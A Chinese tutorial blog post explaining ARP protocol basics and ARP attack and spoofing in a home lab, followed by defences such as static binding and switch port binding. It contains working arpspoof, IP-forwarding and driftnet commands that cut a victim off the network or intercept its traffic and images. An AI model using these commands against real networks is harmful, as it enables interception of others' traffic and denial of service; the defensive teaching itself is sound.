ARP攻击与欺骗
广播与广播域:
广播:将广播地址作为目的地址的数据帧。
广播域:网络中能接收到同一个广播所有节点的集合。
MAC广播地址:FF-FF-FF-FF-FF-FF
IP广播地址:255.255.255.255 广播IP地址为IP网段地址网段的广播地址:如192.168.0.255/24(当主机位全为1时,就是网段的广播地址)
路由器不会转发广播请求,只能在局域网内广播
ARP协议:
address resolution protocol:地址解析协议 作用:将一个已知的IP地址解析成MAC地址
windows arp相关命令:
arp -a:查看arp缓存表
arp -d:消除arp缓存
arp -s:ARP绑定
ARP原理:
1)发送ARP广播请求
2)接收ARP单播回应
ARP攻击或欺骗原理:
通过发送伪造的ARP报文(单播或广播)来实现的攻击或欺骗。
如果虚假报文中MAC是伪造的,实现ARP攻击,结果是中断通信
如果虚假报文中MAC是攻击者的MAC,实现ARP欺骗,结果是监听,窃取,篡改,控制流量,但不中断通信
ARP攻击者通过发送虚假伪造的ARP报文对受害者进行ARP缓存投毒
ARP协议没有验证机制。
路由器工作原理:
1)一个帧到达路由,路由器首先检查目标MAC地址是否自己。如果不是,则丢弃,如果是就解封装,并将IP包送到路由器内部。
2)路由器检查IP包头中的目标IP,并匹配路由表。如果匹配失败,则丢弃,并向原IP回馈错误信息,如果匹配成功,则将IP包路由到出接口。
3)封装帧,首先将出接口的MAC地址作为源MAC地址。然后检查ARP缓存,检查是否有下一跳的MAC地址,如有,则将下一跳的MAC地址作为目的MAC封装。如无,则发送ARP广播请求下一跳的MAC地址,获取下一跳的MAC地址,并记入缓存,再封装帧。最后将帧发送。
ARP攻击与欺骗:
用到的工具:nmap,arpspoof,driftnet
在kali系统使用nmap查找可攻击主机
nmap -sP 192.168.0.0/24
192.168.0.5为物理机,准备攻击物理机
arpspoof命令使用,来源:ARP欺骗工具arpspoof的用法_who_im_i的博客-CSDN博客
arpspoof -i eth0 -t 受害者IP 想伪造的主机的IP
如:arpspoof -i eth0 -t 192.168.0.5 192.168.0.1
运行前192.168.0.5的ARP缓存表如下
运行后192.168.0.5的ARP缓存表如下
在192.168.0.5的ARP缓存表中,192.168.0.1(网关)的物理地址已经改变了,这是一个伪造的MAC地址,192.168.0.5无法将信息传到网关,因此无法上网,这就是ARP攻击。
echo 1 > /proc/sys/net/ipv4/ip_forward
将kali系统中的数据包转发打开(不打开只能实现ARP攻击,打开可以实现ARP欺骗)
arpspoof -i eth0 192.168.0.1 192.168.0.103
#告诉192.168.0.1(网关)受害机(192.168.0.103)的MAC地址为攻击机的MAC地址,当网关给受害机回包时,网关会把数据包发给攻击机,攻击机再转发给受害机,实现数据窃取
driftnet是一款图片捕获工具,它可以将流经你网卡的图片流量抓取出来
实现arp诈骗后,网关给受害机回复的流量会经过攻击机的网卡,可以利用driftnet将图片捕获。
driftnet -i eth0 -a -d /home/ddd #将捕获的图片保存在ddd中
这是受害机在浏览猫图片时被抓捕的图片
ARP攻击防御:
1.静态绑定:
手工绑定(手动配置ARP表),双向绑定(配置PC的ARP表且配置网关的ARP表)
windows客户机上绑定:
arp -s 网关ip 网关mac地址
2.ARP防火墙:
自动绑定静态ARP,主动防御。
工作原理:一直发出ARP广播,告知对方准确的MAC地址。(与ARP欺骗类似)
在大型局域网中不使用,大量的广播容易造成链路拥塞。
3.硬件级防御:
要求:交换机支持“端口”做动态ARP绑定(配合DHCP服务器)或做静态ARP绑定。
原理:把ip与MAC地址在端口号绑定,当发送ARP报文的时候先对内容判断,如果IP或MAC地址与事先绑定的不同,不允许发送。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!